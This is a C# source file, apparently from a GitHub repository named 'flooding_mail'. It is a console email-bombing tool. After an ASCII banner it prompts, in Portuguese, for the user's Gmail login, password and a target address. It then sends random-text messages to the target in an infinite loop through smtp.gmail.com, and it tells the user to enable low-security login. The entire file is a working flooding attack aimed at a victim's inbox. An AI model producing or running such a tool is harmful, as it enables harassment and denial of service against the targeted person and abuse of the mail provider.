-
Notifications
You must be signed in to change notification settings - Fork 4
/
Program.cs
107 lines (97 loc) · 3.21 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
using System;
using System.Net.Mail;
using System.Net;
using System.Threading;
using System.Text;
namespace flooding_mail
{
class Program
{
static void Main(string[] args)
{
Console.SetWindowSize(40,10);
Console.ForegroundColor = ConsoleColor.Cyan;
banner();
}
public static void banner()
{
string baner = @"
___
____/ (_)___
/ __ / / __ \
/ /_/ / / /_/ /
\__,_/_/\____/
";
Console.WriteLine(baner);
Thread.Sleep(2000);
Console.Clear();
Console.WriteLine("Ative o login de baixa segurança no seu\nemail.");
Thread.Sleep(1500);
Console.Clear();
Console.WriteLine("Login");
Console.Write(">> ");
string login = Console.ReadLine();
Console.Clear();
Console.WriteLine("Senha");
Console.Write(">> ");
var pass = string.Empty;
ConsoleKey key;
do
{
var keyInfo = Console.ReadKey(intercept: true);
key = keyInfo.Key;
if (key == ConsoleKey.Backspace && pass.Length > 0)
{
Console.Write("\b \b");
}
else if (!char.IsControl(keyInfo.KeyChar))
{
Console.Write("*");
pass += keyInfo.KeyChar;
}
} while (key != ConsoleKey.Enter);
Console.Clear();
Console.WriteLine("email do alvo");
Console.Write(">> ");
string email_alvo = Console.ReadLine();
var fromAddress = new MailAddress(login);
var toAddress = new MailAddress(email_alvo);
string fromPassword = pass;
const string subject = "Subject";
string body = random(256);
var smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
UseDefaultCredentials = false,
Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
};
using (var message = new MailMessage(fromAddress, toAddress)
{
Subject = subject,
Body = body
})
{
while (true)
{
smtp.Send(message);
}
}
}
static string random(int lenght)
{
{
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
StringBuilder res = new StringBuilder();
Random rnd = new Random();
while (0 < lenght--)
{
res.Append(valid[rnd.Next(valid.Length)]);
}
return res.ToString();
}
}
}
}